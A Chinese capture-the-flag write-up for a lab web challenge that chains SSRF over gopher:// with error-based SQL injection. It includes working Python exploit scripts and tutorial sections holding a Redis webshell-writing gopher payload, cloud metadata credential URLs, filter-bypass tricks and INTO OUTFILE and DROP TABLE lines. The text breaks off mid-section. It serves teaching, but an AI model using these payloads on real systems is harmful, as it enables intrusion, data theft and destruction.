【攻防世界】 WEB | very_easy_sql 详细题解WP
【攻防世界】 WEB | very_easy_sql 详细题解WP

打开环境,用sql语句:
uname' and 1=1#
passwd' and 1=1#
用上面sql语句测试无果,Ctrl + U查看源码

看到use.php,在URL后面加上/use.php接口看看

页面发生变化,根据第一张图知道inner user暗示要使用内网用户才能给你访问的权利

这里在url处输入127.0.0.1试试,发现页面发生改变,由于要进入内网才能有访问的权利,这里要用到SSRF的知识,这里先进行解题,SSRF的知识点放在后面,有需要的可以下滑了解
经过绞尽脑汁的FUZZ测试后,发现这道题用的是gopher协议:
gopher:// |
发送原始 TCP 数据(高级利用) | 构造gopher://127.0.0.1:3306/_%23...(向 MySQL 发送恶意 SQL 命令) |
|---|---|---|
编写一个gopher://的脚本来方便解题:
# 导入urllib.parse模块,用于URL编码处理
import urllib.parse
# 定义目标主机和端口
host = "127.0.0.1:80"
# 定义POST请求的表单数据(模拟登录的用户名和密码)
content = "uname=admin&passwd=admin"
# 计算POST数据的长度,用于HTTP头中的Content-Length字段
content_length = len(content)
# 构造完整的POST请求报文(HTTP协议格式)
test =\
"""POST /index.php HTTP/1.1 # HTTP方法为POST,请求路径为/index.php,协议版本1.1
Host: {} # 目标主机(通过format填充上面定义的host变量)
User-Agent: curl/7.43.0 # 模拟curl的User-Agent头
Accept: */* # 接受所有类型的响应数据
Content-Type: application/x-www-form-urlencoded # 表单数据的MIME类型
Content-Length: {} # POST数据的长度(通过format填充content_length变量)
{} # POST请求的表单数据(通过format填充content变量)
# """.format(host,content_length,content) # 用format方法替换占位符,填充host、长度和数据
# 对构造的HTTP报文进行第一次URL编码(将特殊字符转为%XX格式)
tmp = urllib.parse.quote(test)
# 将编码后的换行符%0A(\n)替换为HTTP标准的回车换行%0D%0A(\r\n),避免协议解析错误
new = tmp.replace("%0A","%0D%0A")
# 对处理后的字符串进行第二次URL编码,确保gopher协议能正确解析
result = urllib.parse.quote(new)
# 拼接为gopher协议URL(格式:gopher://主机/_编码后的请求内容),用于SSRF等场景
print("gopher://"+host+"/_"+result)
运行后:
gopher://127.0.0.1:80/_POST%2520/index.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%253A80%250D%250AUser-Agent%253A%2520curl/7.43.0%250D%250AAccept%253A%2520%252A/%252A%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250AContent-Length%253A%252024%250D%250A%250D%250Auname%253Dadmin%2526passwd%253Dadmin%250D%250A%2523%2520

可以看到cookie在这,cookie的知识点也放在下面,cookie的格式为:
Set-Cookie: this_is_your_cookie=YWRtaW4%3D
cookie出来后,到这里SSRF算是搞定了,这道题的题目是very_easy_sql接下来才真正到sql的测试,sql注入的知识点也放在下面,又是经过绞尽脑汁的FUzZ测试:
admin'#
admin"#
admin')#
admin")#

admin')#有明显报错信息,使用报错注入,报错语句为:
admin') and extractvalue(1,concat(0x7e,database()))#
查到数据库信息
admin') and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())))#
查到table表,表里有flag字段
admin') and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=datatbase() and table_name='flag')))#
查找flag表
admin') and extractvalue(1, concat(0x7e, concat((SELECT flag from flag),32),0x7e)) #
查找flag字段,但是有长度限制,还有另一段flag未显示出来
admin') and extractvalue(1, concat(0x7e, right((SELECT flag from flag),32),0x7e)) #
这样子就完全了
这里也写个脚本方便解题:
# 导入必要模块
import urllib.parse # 用于URL编码/解码,处理HTTP请求格式
import requests # 用于发送HTTP请求,与目标服务器交互
import base64 # 用于Base64编码/解码,绕过目标服务器的字符过滤
# 定义核心配置参数
# 目标URL:存在SSRF漏洞的服务器地址,通过该地址触发漏洞
url = 'http://61.147.171.105:61202/use.php'
# 请求头:模拟Chrome浏览器访问,避免被服务器识别为恶意请求
headers = {
'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.6668.71 Safari/537.36'
}
# 定义Payload构造函数:生成用于SSRF攻击的Gopher协议链接
def payload(sql):
# 1. 对SQL注入语句进行Base64编码
# 目的:绕过服务器对特殊字符(如单引号、括号)的过滤
sql_b64 = base64.b64encode(sql.encode('utf-8')).decode('utf-8')
# 2. 构造包含注入语句的Cookie
# 逻辑:将编码后的SQL语句嵌入Cookie,通过HTTP请求传递到目标服务
cookie = f"this_is_your_cookie={sql_b64}"
# 3. 构造完整的HTTP POST请求报文
# 细节:模拟向本地80端口发送POST请求,包含Cookie和必要的HTTP头
request = f'''POST /index.php HTTP/1.1
Host: 61.147.171.105:61202
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
Cookie: {cookie}
'''
# 4. 对HTTP报文进行URL编码,修正换行符格式
# 原因:HTTP协议要求换行符为\r\n(%0D%0A),而非单纯的\n(%0A)
request_encoded = urllib.parse.quote(request).replace('%0A', '%0D%0A')
# 5. 构造Gopher协议链接
# 原理:Gopher协议可模拟HTTP请求,通过SSRF漏洞让目标服务器访问本地80端口(触发内部SQL注入)
gopher_url = f'gopher://127.0.0.1:80/_{request_encoded}'
return gopher_url # 返回最终的SSRF攻击链接
# 构造SQL注入语句:通过报错注入(extractvalue)获取数据库信息
# 注:逐个执行以下SQL语句,逐步获取敏感数据
# 1. 获取当前数据库名称
sql1 = "admin') and extractvalue(1,concat(0x7e,database()))#"
# 逻辑:闭合原SQL语句的括号,使用extractvalue函数触发MySQL报错,输出数据库名(0x7e是波浪线~,用于分隔结果)
# 2. 获取当前数据库中的所有表名
sql2 = "admin') and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())))#"
# 逻辑:查询information_schema.tables,获取当前库下所有表名(group_concat用于合并结果)
# 3. 获取flag表的所有字段名(原语句存在拼写错误:datatbase()→database())
sql3 = "admin') and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='flag')))#"
# 逻辑:查询information_schema.columns,获取flag表的字段结构
# 4. 读取flag表中的flag字段内容
sql4 = "admin') and extractvalue(1, concat(0x7e, concat((SELECT flag from flag),32),0x7e)) #"
# 逻辑:直接查询flag字段,32对应空格ASCII码,用于避免语法错误
# 5. 读取flag字段的后32个字符(绕过extractvalue的长度限制)
sql5 = "admin') and extractvalue(1, concat(0x7e, right((SELECT flag from flag),32),0x7e)) #"
# 逻辑:extractvalue最多返回32位,使用right()函数分段读取长内容
# 执行攻击流程:发送构造好的请求并获取结果
# 选择要执行的SQL注入语句(例如使用sql5)
sql = sql5
# 生成SSRF攻击链接
attack_url = payload(sql)
print("构造的Gopher攻击链接:", attack_url) # 打印链接用于调试
# 构造GET请求参数:将Gopher链接作为url参数传入目标SSRF接口
params = {'url': attack_url}
# 发送请求,触发SSRF漏洞
response = requests.get(url, params=params, headers=headers)
# 输出响应结果,查看SQL注入的报错信息(包含flag)
print("服务器响应内容:", response.text)
上面的脚本加了详细的注释,进行简化后:
import urllib.parse
import requests
import base64
url = 'http://61.147.171.105:61202/use.php'
headers = {'user-agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.6668.71 Safari/537.36'}
def payload(sql):
sql = base64.b64encode(sql.encode('utf-8')).decode('utf-8')
cookie = f"this_is_your_cookie={sql}"
request = \
f'''POST /index.php HTTP/1.1
Host: 61.147.171.105:61202
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
Cookie: {cookie}
'''
request_url1 = urllib.parse.quote(request).replace('%0A', '%0D%0A')
gopher = 'gopher://127.0.0.1:80/_' + request_url1
return gopher
# sql = "admin') and extractvalue(1,concat(0x7e,database()))#"
# sql = "admin') and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())))#"
# sql = "admin') and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=datatbase() and table_name='flag')))#"
sql = "admin') and extractvalue(1, concat(0x7e, concat((SELECT flag from flag),32),0x7e)) #"
# sql = "admin') and extractvalue(1, concat(0x7e, right((SELECT flag from flag),20),0x7e)) #"
pay = payload(sql)
print(pay)
params = {'url':f'{pay}'}
res = requests.get(url, params=params)
print(res.text)
得到flag为:


cyberpeace{4a4210f759ef372404247240424061b7004ecb5}

这道WEB的题目考察的知识点还是挺多的,博主也是花了老长时间(加上写这篇博客好几天吧)来解这道题
一、SSRF知识点:
SSRF(Server-Side Request Forgery,服务器端请求伪造)是一种由攻击者构造恶意请求,诱导服务器代为发起请求的安全漏洞。其核心危害在于:攻击者可借助服务器的 “信任身份”,访问服务器自身、内网服务或其他受信任资源,突破网络隔离(如防火墙限制),窃取敏感信息或实施进一步攻击。
一、SSRF 的本质与原理
-
本质:服务器对用户输入的 “URL / 资源地址” 未做严格校验,直接用于发起网络请求(如通过
curl、file_get_contents等函数),导致攻击者可控制服务器的请求目标和内容。 -
原理:
正常情况下,服务器应仅允许请求公开合法的外部资源;但存在 SSRF 时,攻击者可构造特殊 URL,让服务器 “主动” 访问以下资源:
- 服务器本地文件(如
/etc/passwd、/var/www/html/config.php); - 内网未暴露的服务(如 192.168.1.1 的 MySQL、Redis、路由器管理界面);
- 其他受服务器信任的外部服务(如云服务器的元数据服务)。
- 服务器本地文件(如
二、SSRF 的核心危害
- 读取本地敏感文件:通过
file协议读取服务器配置文件(如数据库账号密码)、系统文件(如/etc/passwd、/proc/self/environ)。 - 探测内网服务与端口:扫描内网存活主机、开放端口(如
http://192.168.0.1:8080),获取内网拓扑或未公开服务信息。 - 攻击内网应用:利用内网服务漏洞(如 Redis 未授权访问、MySQL 弱口令),通过 SSRF 发送恶意请求(如 Redis 写后门)。
- 突破网络隔离:访问防火墙 / ACL 限制的资源(如仅允许服务器访问的内网 API、云服务元数据接口
http://169.254.169.254)。
三、SSRF 漏洞的利用方法(实战角度)
SSRF 的利用需结合服务器支持的协议、内部网络环境及目标服务特性,核心方法可分为以下几类:
1. 利用不同协议访问本地 / 内网资源
服务器处理 URL 时可能支持多种协议,攻击者可通过协议类型控制请求目标:
| 协议 | 作用 | 实战案例 |
|---|---|---|
file:// |
读取本地文件(支持绝对路径) | file:///etc/passwd(Linux 系统用户列表);file:///C:/Windows/system32/drivers/etc/hosts(Windows 主机文件) |
http:// |
访问 HTTP 服务(本地 / 内网) | http://127.0.0.1:8080(探测本地 8080 端口服务);http://192.168.1.1/admin(访问内网管理页面) |
https:// |
访问 HTTPS 服务 | https://10.0.0.1:443(探测内网 HTTPS 服务) |
ftp:// |
访问 FTP 服务 | ftp://127.0.0.1(连接本地 FTP 服务,获取文件列表) |
gopher:// |
发送原始 TCP 数据(高级利用) | 构造gopher://127.0.0.1:3306/_%23...(向 MySQL 发送恶意 SQL 命令) |
dict:// |
访问字典服务(探测端口 / 信息) | dict://127.0.0.1:6379/info(获取 Redis 服务信息) |
2. 探测内网服务与端口扫描
服务器作为 “跳板”,可扫描内网存活主机和开放端口,获取攻击目标:
-
原理:通过发送
http://[内网IP]:[端口],根据服务器返回的 “超时”“连接拒绝”“200 OK” 等状态,判断端口是否开放。 -
实战案例:
若内网存在
192.168.1.0/24网段,可构造url=http://192.168.1.1:80url=http://192.168.1.2:3306等等,通过响应时间或内容判断:
- 若返回 “200 OK”:端口开放且有服务响应(如 Web 服务);
- 若返回 “Connection refused”:端口关闭;
- 若超时:可能被防火墙拦截或主机未存活。
3. 攻击内网应用组件(结合其他漏洞)
SSRF 可配合内网服务漏洞(如未授权访问、命令执行)发起攻击,典型场景:
- 攻击 Redis(6379 端口):
若内网 Redis 未授权访问,可通过gopher协议发送 Redis 命令,写入后门文件到 Web 目录(如/var/www/html):
构造gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$64%0d%0a%0a%3c%3fphp%20eval%28%24_%5b%27cmd%27%5d%29%3b%3f%3e%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/www/html%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$9%0d%0ashell.php%0d%0a*1%0d%0a$4%0d%0asave%0d%0a,服务器执行后会在/var/www/html生成shell.php后门。 - 攻击 MySQL(3306 端口):
若已知 MySQL 账号密码,通过gopher协议发送登录及 SQL 命令,读取数据库敏感信息(如 flag)。 - 攻击内网 Web 应用:
若内网存在弱口令后台(如http://192.168.1.100/admin),可通过 SSRF 发送登录请求(POST 数据),尝试爆破或利用其漏洞(如文件上传)。
4. 访问云服务元数据(云环境特有)
在 AWS、阿里云、腾讯云等环境中,服务器可通过 “元数据服务” 获取自身配置(如密钥、实例信息),SSRF 可窃取这些敏感数据:
- AWS 元数据地址:
http://169.254.169.254/latest/meta-data/(可获取 IAM 密钥、实例 ID 等); - 阿里云元数据地址:
http://100.100.100.200/latest/meta-data/; - 实战案例:构造
url=http://169.254.169.254/latest/meta-data/iam/security-credentials/,获取 IAM 角色后进一步控制云资源。
5. 绕过 SSRF 过滤的常见技巧
服务器可能对url参数做过滤(如禁止127.0.0.1、localhost或file://协议),需通过以下方式绕过:
- IP 地址转换:
- 十进制 / 八进制 IP:
127.0.0.1→2130706433(十进制)、017700000001(八进制); - 域名绑定:注册
localhost.attacker.com(解析到 127.0.0.1); - 特殊域名:
localhost的变种(如localhost、127.0.0.1.,部分过滤规则可能漏判)。
- 十进制 / 八进制 IP:
- 协议混淆:
- 用
file:////etc/passwd(多斜杠)绕过对file:///的检测; - 协议大小写:
File:///etc/passwd、HTTP://127.0.0.1(绕过小写过滤); - 嵌套 URL:
http://127.0.0.1@example.com(部分解析器会优先访问127.0.0.1)。
- 用
- 利用跳转绕过:
若服务器允许 302 跳转,可构造外部可控的跳转链接(如http://attacker.com/redirect?url=http://127.0.0.1),服务器先访问attacker.com,再跳转至目标地址,绕过对直接输入内网 IP 的限制。 - 协议替代:
若file://被禁,尝试php://filter(需服务器支持),如php://filter/convert.base64-encode/resource=/etc/passwd(Base64 编码读取文件)。
四、SSRF 的常见触发场景
识别 SSRF 需关注 “服务器代用户发起请求” 的功能,典型场景:
- URL 分享 / 预览功能(如 “输入 URL 生成预览图”);
- 远程资源加载(如 “导入远程图片 / 文件”);
- 在线工具(如 “在线 curl”“在线 ping”);
- 云存储同步(如 “同步远程服务器文件”)。
常见触发函数(以 PHP 为例):file_get_contents()、curl_exec()、fopen()、readfile()等。
总结
SSRF 的核心利用逻辑是:控制服务器请求目标→借助服务器信任身份→访问敏感资源或攻击内网。实战中需结合目标环境(本地 / 内网 / 云服务)、支持的协议及过滤规则,灵活选择利用方式(文件读取、端口扫描、组件攻击等),其危害程度随服务器权限和内网环境敏感度大幅提升,是 CTF 和实战渗透中的高频高危漏洞。
二、cookie、referer、token、session知识点
在 Web 安全领域,cookie、referer、token、session 是四个核心的身份认证与请求验证机制,它们既保障了 Web 服务的正常交互,也成为攻防对抗的关键节点。以下从定义、作用、攻防利用三个维度详细解析:
一、Cookie(HTTP Cookie)
定义
Cookie 是服务器发送给客户端(浏览器)的小型文本数据(通常≤4KB),由客户端存储,每次请求同一域名时自动携带。其本质是 “客户端存储的键值对”,格式如:name=value; Expires=...; Path=/。
作用
- 保持会话状态:用户登录后,服务器生成包含用户身份的 cookie(如
user_id=123),客户端后续请求携带该 cookie,服务器无需重复验证登录。 - 存储用户偏好:如网站主题(
theme=dark)、语言设置(lang=zh-CN)等非敏感信息。 - 跟踪用户行为:电商网站用 cookie 记录购物车内容、浏览历史等。
攻防利用
攻击角度
- 会话劫持(Session Hijacking)
- 原理:通过 XSS 漏洞窃取 cookie(如
document.cookie),使用窃取的 cookie 伪装成合法用户访问网站。 - 示例:在存在 XSS 的页面注入脚本
alert(document.cookie),获取包含登录状态的 cookie(如PHPSESSID=abc123),用该 cookie 发送请求即可登录用户账号。
- 原理:通过 XSS 漏洞窃取 cookie(如
- cookie 篡改
- 原理:若服务器未对 cookie 进行签名或加密,攻击者可直接修改 cookie 值绕过权限。
- 示例:若 cookie 为
role=user,篡改为role=admin后,若服务器未验证,可能直接获得管理员权限。
- CSRF 攻击辅助
- 原理:CSRF 攻击中,攻击者诱导用户在已登录状态下发送请求,浏览器会自动携带目标网站的 cookie,使恶意请求被服务器误认为合法。
防御角度
- 敏感 cookie 添加
HttpOnly属性:禁止 JavaScript 读取(防御 XSS 窃取),如Set-Cookie: sessionid=abc; HttpOnly。 - 添加
Secure属性:仅在 HTTPS 请求中携带(防止明文传输泄露)。 - 对 cookie 进行签名 / 加密:如用 HMAC 算法签名,服务器验证签名有效性(防止篡改)。
二、Referer(HTTP Referer)
定义
Referer 是 HTTP 请求头的一个字段,记录当前请求的来源页面 URL。例如:从https://a.com/page1点击链接到https://b.com/page2,则b.com收到的请求头中Referer: https://a.com/page1。
作用
- 防盗链:图片、视频等资源服务器通过检查 Referer,仅允许特定域名(如自家网站)请求资源,防止其他网站盗用。
- 限制访问来源:部分网站的敏感操作(如表单提交、后台登录)会验证 Referer 是否为可信域名,防止跨站请求。
- 统计分析:记录用户从哪个页面跳转而来,用于流量分析(如百度统计)。
攻防利用
攻击角度
- 伪造 Referer 绕过限制
- 原理:若服务器仅通过 Referer 验证请求合法性,攻击者可伪造 Referer 头绕过检查。
- 示例:某网站后台仅允许
https://example.com/admin页面提交表单,攻击者可在恶意请求中伪造Referer: https://example.com/admin,绕过来源限制。
- 利用 Referer 泄露敏感信息
- 原理:Referer 可能包含 URL 中的敏感参数(如 SessionID、验证码),若跳转至第三方网站,可能泄露信息。
- 示例:
https://bank.com/transfer?user=123&token=abc跳转至https://evil.com,evil.com可通过 Referer 获取token=abc。
防御角度
- 不依赖 Referer 作为唯一验证手段(Referer 可被轻易伪造,且部分浏览器可能不发送 Referer)。
- 结合其他验证机制(如 token),或仅将 Referer 作为辅助判断。
三、Token(令牌)
定义
Token 是服务器生成的字符串凭证,用于验证请求的合法性。常见类型:CSRF Token、API Token、JWT(JSON Web Token)等,格式通常为随机字符串(如csrf_token=abc123)。
作用
- 防止 CSRF 攻击:服务器为每个表单生成唯一 CSRF Token,提交时需携带该 Token,攻击者无法获取合法 Token,故无法构造有效请求。
- API 身份验证:第三方应用调用 API 时,需携带服务器分配的 API Token,验证调用者权限。
- 无状态会话:JWT 等 Token 包含用户信息(加密),服务器无需存储会话数据,直接解析 Token 即可验证身份(适用于分布式系统)。
攻防利用
攻击角度
- 窃取 Token
- 原理:通过 XSS 漏洞获取页面中的 Token(如表单隐藏域的
csrf_token),用于构造合法请求。 - 示例:在存在 XSS 的页面注入
document.querySelector('input[name="csrf_token"]').value,获取 CSRF Token 后发起 CSRF 攻击。
- 原理:通过 XSS 漏洞获取页面中的 Token(如表单隐藏域的
- 猜测 / 爆破 Token
- 原理:若 Token 生成机制不安全(如基于时间戳 + 简单哈希),攻击者可猜测或暴力破解。
- 示例:Token 为
md5(timestamp),攻击者通过爆破时间戳生成可能的 Token。
- 重放攻击
- 原理:若 Token 未设置过期时间,攻击者可重复使用截获的 Token 发起请求。
- 示例:截获 API 请求中的
Authorization: Bearer,重复发送该请求调用 API。
防御角度
- Token 需足够随机(如使用
random_bytes()生成),避免可预测性。 - 设置短期过期时间(如 CSRF Token 单次有效,JWT 过期时间设为 15 分钟)。
- 敏感 Token 存储在服务器(如 CSRF Token 与 Session 绑定),避免客户端篡改。
四、Session(会话)
定义
Session 是服务器为每个用户创建的内存 / 文件 / 数据库中的数据结构,用于存储用户会话信息(如登录状态、权限)。服务器通过Session ID(通常存储在 cookie 中)与客户端关联,格式如:PHPSESSID=abc123(Session ID)→ 服务器中abc123对应的 Session 数据(user_id=123; role=admin)。
作用
- 服务器端会话管理:相比 cookie,Session 将敏感信息(如用户权限、购物车详情)存储在服务器,仅通过 Session ID 与客户端交互,更安全。
- 临时状态存储:用户登录后,服务器在 Session 中标记
is_login=true,后续请求通过 Session ID 验证状态,无需重复登录。
攻防利用
攻击角度
- 会话劫持(Session Hijacking)
- 原理:窃取用户的 Session ID(如通过 XSS 获取 cookie 中的
PHPSESSID),使用该 ID 发送请求,服务器会误认为是合法用户。 - 示例:获取用户的
PHPSESSID=abc123后,在浏览器中手动设置该 cookie,即可登录用户账号。
- 原理:窃取用户的 Session ID(如通过 XSS 获取 cookie 中的
- 会话固定(Session Fixation)
- 原理:攻击者先获取一个合法的 Session ID(如访问网站获取未登录状态的 Session ID),诱导用户使用该 Session ID 登录,登录后攻击者使用同一 ID 即可劫持会话。
- 示例:攻击者向用户发送链接
https://example.com/login?PHPSESSID=evil123,用户用该链接登录后,攻击者用evil123即可访问用户会话。
- Session 超时攻击
- 原理:若 Session 超时时间过长(如 24 小时),攻击者有更多时间利用窃取的 Session ID。
防御角度
- 登录成功后重新生成 Session ID(防御会话固定)。
- 设置合理的 Session 超时时间(如 30 分钟无操作自动失效)。
- Session ID 需足够随机(避免被猜测),并通过
HttpOnly和Secure属性保护(防止 XSS 窃取和明文传输)。
总结:四者的核心区别与联系
| 机制 | 存储位置 | 核心作用 | 安全焦点 |
|---|---|---|---|
| Cookie | 客户端(浏览器) | 存储轻量数据,维持会话 | 防止窃取、篡改 |
| Referer | 请求头 | 标识请求来源 | 防止伪造来源 |
| Token | 客户端 / 请求头 | 验证请求合法性 | 防止泄露、重放 |
| Session | 服务器端 | 管理用户会话状态 | 保护 Session ID 安全 |
在攻防中,这四个机制常被组合利用(如 Session ID 存于 Cookie,配合 Token 防止 CSRF),理解其原理和弱点是 Web 安全的基础技能。防御的核心原则是:敏感数据不暴露在客户端,关键验证不依赖单一机制,确保随机性和时效性。
三、sql注入知识点
SQL 注入深度解析
一、SQL 注入的本质与原理
定义:SQL 注入(SQL Injection)是攻击者通过构造恶意 SQL 语句,利用应用程序对用户输入验证不足的漏洞,使恶意代码被数据库执行的攻击方式。其核心是用户输入未经过滤直接拼接至 SQL 查询语句,导致原始查询逻辑被篡改。
原理(技术底层)
Web 应用与数据库交互时,若使用动态 SQL 拼接(而非参数化查询),则存在注入风险。例如:
// 危险代码:直接拼接用户输入
$uname = $_POST['uname'];
$sql = "SELECT * FROM users WHERE username='$uname'"; // 用户输入可控$uname
当攻击者输入 ' OR '1'='1 时,SQL 语句变为:
SELECT * FROM users WHERE username='' OR '1'='1' // 条件恒为真,返回所有用户数据
二、SQL 注入的核心类型(按利用场景与技术特征分类)
1. 按注入点数据类型分类
- 数字型注入:注入点参数为数字(如
id=1),无需闭合引号。
示例:id=1 OR 1=1--+→ 拼接后SELECT * FROM news WHERE id=1 OR 1=1--+(--+注释后续语句)。 - 字符型注入:注入点参数为字符串(如
username='admin'),需用单引号 / 双引号闭合。
示例:username=admin' OR '1'='1--+→ 拼接后SELECT * FROM users WHERE username='admin' OR '1'='1--+'。
2. 按注入方式与回显特征分类
| 类型 | 核心特征 | 适用场景 | CTF / 渗透常用技巧 |
|---|---|---|---|
| 联合查询注入 | 利用UNION SELECT拼接查询,直接回显数据(需知字段数) |
有数据回显的场景(如搜索结果、登录失败提示) | ORDER BY猜字段数 → UNION SELECT 1,2,3定位回显位 → 提取库名 / 表名 / 数据 |
| 报错注入 | 构造错误语句触发数据库报错,从错误信息中提取数据 | 无直接回显但有错误提示(如mysql_error()) |
MySQL:extractvalue(1,concat(0x7e,database(),0x7e));SQL Server:xp_dirtree '\\xxx\xxx' |
| 布尔盲注 | 基于查询结果的布尔值(真 / 假)判断数据,无直接回显 | 仅返回 “存在 / 不存在”“登录成功 / 失败” 等状态 | IF(length(database())>5,1,0) → 通过页面差异猜解长度 / 字符 |
| 时间盲注 | 利用sleep()等函数,通过响应时间判断条件是否成立,无任何回显 |
页面无任何差异(无论注入是否成功均返回相同内容) | IF(substr(database(),1,1)='a',sleep(5),0) → 通过延迟判断字符正确性 |
| 堆叠注入 | 用分号;分隔多条 SQL 语句,执行额外命令(如增删改查、写文件) |
数据库支持多语句执行(如 MySQL,部分应用禁止) | id=1; DROP TABLE users--+ → 删表;id=1; SELECT * INTO OUTFILE '/var/www/shell.php'... → 写后门 |
3. 按注入点位置分类
- GET 注入:参数在 URL 中(如
?id=1),可直接在 URL 构造 payload。 - POST 注入:参数在请求体中(如表单提交的
uname/passwd),需通过 BurpSuite 等工具修改 POST 数据。 - Cookie 注入:参数在 Cookie 中(如
Cookie: user=1),修改 Cookie 值触发注入。 - XFF/Referer 注入:参数在 HTTP 头中(如
X-Forwarded-For),常用于日志存储类注入。
三、SQL 注入的利用流程(CTF 与渗透测试实战)
阶段 1:信息收集与注入点确认
- 判断是否存在注入:
- 数字型:输入
id=1',若返回 SQL 语法错误(如You have an error in your SQL syntax),存在注入。 - 字符型:输入
username=admin' and '1'='2,若登录失败(原条件为假),输入admin' or '1'='1登录成功,存在注入。
- 数字型:输入
- 识别数据库类型:
- MySQL:支持
sleep()、extractvalue(),错误信息含MySQL server version。 - SQL Server:支持
waitfor delay '0:0:5'、xp_cmdshell,错误信息含Microsoft SQL Server。 - Oracle:支持
dbms_pipe.receive_message(('a'),5)(延迟),表名含dual。
- MySQL:支持
阶段 2:数据提取(核心目标:获取敏感信息)
-
CTF 场景:快速定位 flag(通常在
flag表或users表中)。
示例(MySQL 联合查询):?id=-1 UNION SELECT 1,database(),3--+ # 获取当前库名 ?id=-1 UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema=database()--+ # 获取当前库所有表 ?id=-1 UNION SELECT 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_name='flag'--+ # 获取flag表字段 ?id=-1 UNION SELECT 1,flag,3 FROM flag--+ # 读取flag值 -
渗透测试场景:获取数据库账号密码、系统权限。
示例:- 读取
mysql.user表获取管理员哈希:UNION SELECT 1,group_concat(user,0x3a,password),3 FROM mysql.user--+。 - 利用
file_priv权限写 Webshell:UNION SELECT 1,'',3 INTO OUTFILE '/var/www/html/shell.php'--+。
- 读取
阶段 3:权限提升与横向移动(渗透测试特有)
- 数据库层面:
- MySQL:启用
secure_file_priv时可读写文件;通过UDF提权执行系统命令(如select sys_exec('whoami'))。 - SQL Server:启用
xp_cmdshell执行命令(EXEC xp_cmdshell 'ipconfig');利用sp_oacreate调用 COM 组件。
- MySQL:启用
- 系统层面:通过写入后门文件(如
shell.php)控制 Web 服务器,进而横向渗透内网。
四、SQL 注入的防御措施(企业级与开发视角)
1. 代码层防御(核心)
-
参数化查询(预编译语句):强制将用户输入作为数据而非 SQL 代码解析,从根本上杜绝注入。
示例(PHP PDO):
$stmt = $pdo->prepare("SELECT * FROM users WHERE username = :uname"); // 预编译 $stmt->bindParam(':uname', $uname); // 绑定参数(用户输入仅作为数据) $stmt->execute(); -
输入验证:白名单限制输入类型(如数字型仅允许
0-9,字符串限制长度和特殊字符)。
示例:if(!preg_match('/^[0-9]+$/', $id)) die("非法输入");
2. 数据库与系统层防御
- 最小权限原则:数据库账号仅授予必要权限(如 Web 应用账号无
FILE权限、无DROP权限)。 - 禁用危险功能:MySQL 禁用
LOAD_FILE、INTO OUTFILE;SQL Server 禁用xp_cmdshell、sp_oacreate。 - 错误信息屏蔽:生产环境关闭详细错误提示(如 PHP 的
display_errors=Off),避免泄露数据库类型、表结构。
3. 应用层与运维防御
- WAF 部署:通过 Web 应用防火墙(如 ModSecurity)拦截常见注入 payload(如
UNION SELECT、sleep()。 - 定期审计与更新:代码审计工具(如 SonarQube)扫描潜在注入点;及时更新数据库补丁(修复已知注入相关漏洞)。
五、CTF 与渗透测试的核心差异
| 维度 | CTF 工程师视角 | 高级渗透测试工程师视角 |
|---|---|---|
| 目标 | 快速获取 flag(单点突破) | 完整攻击链(从注入到系统控制,再到内网渗透) |
| 环境 | 孤立靶场(无防御或弱防御) | 真实业务环境(有 WAF、防火墙、日志审计) |
| 技巧侧重 | 盲注脚本编写、报错注入 payload 创新 | 绕过 WAF(编码、分段注入)、权限维持、痕迹清理 |
| 限制因素 | 时间限制(需高效利用漏洞) | 合规性(避免破坏业务,需精准控制攻击范围) |
总结
SQL 注入的本质是 “用户输入与 SQL 语句的非安全拼接”,其利用依赖于数据库特性与应用回显机制。防御的核心是用参数化查询替代动态拼接,辅以输入验证、权限控制和 WAF 防护。无论是 CTF 还是实战渗透,理解数据库语法细节(如系统表结构、函数特性)和应用逻辑(如注入点位置、回显方式)都是突破的关键。
四、本道sql题目的解题思路
从 CTF 实战角度分析,这道 WEB 题包含服务器端请求伪造(SSRF) 和SQL 注入两大潜在漏洞点,解题需分步骤突破,具体方法如下:
一、漏洞点定位与初步分析
通过页面源码和功能观察,核心攻击面有两个:
1. 第二个表单(URL 输入框):潜在 SSRF 漏洞
- 功能推测:页面提示 “url you want to curl”,说明服务器会对用户输入的
url参数发起请求(类似curl命令),可能使用file_get_contents()、curl_exec()等函数处理。 - 漏洞风险:若对
url参数过滤不严,可能存在服务器端请求伪造(SSRF),攻击者可构造特殊 URL 访问服务器本地文件、内部服务或其他敏感资源。
2. 第一个表单(uname/passwd):潜在 SQL 注入漏洞
- 功能推测:典型的登录表单,提交
uname和passwd参数,后端可能存在 SQL 查询(如select * from users where uname='xxx' and passwd='xxx')。 - 漏洞风险:若参数未经过滤直接拼接 SQL 语句,可能存在SQL 注入漏洞,可通过构造恶意 payload 绕过登录或读取数据库敏感信息(如 flag)。
二、分步解题方法
第一步:利用 SSRF 漏洞探测敏感资源
针对第二个表单的url参数,测试服务器是否允许访问本地文件或内部服务:
- 读取本地系统文件
尝试构造file协议 URL,读取服务器本地文件(Linux 系统常见路径):- 提交
url=file:///etc/passwd(读取系统用户列表,验证 SSRF 是否存在) - 若成功返回
root:x:0:0:root:/root:/bin/bash等内容,说明 SSRF 漏洞存在。
- 提交
- 读取网站配置文件
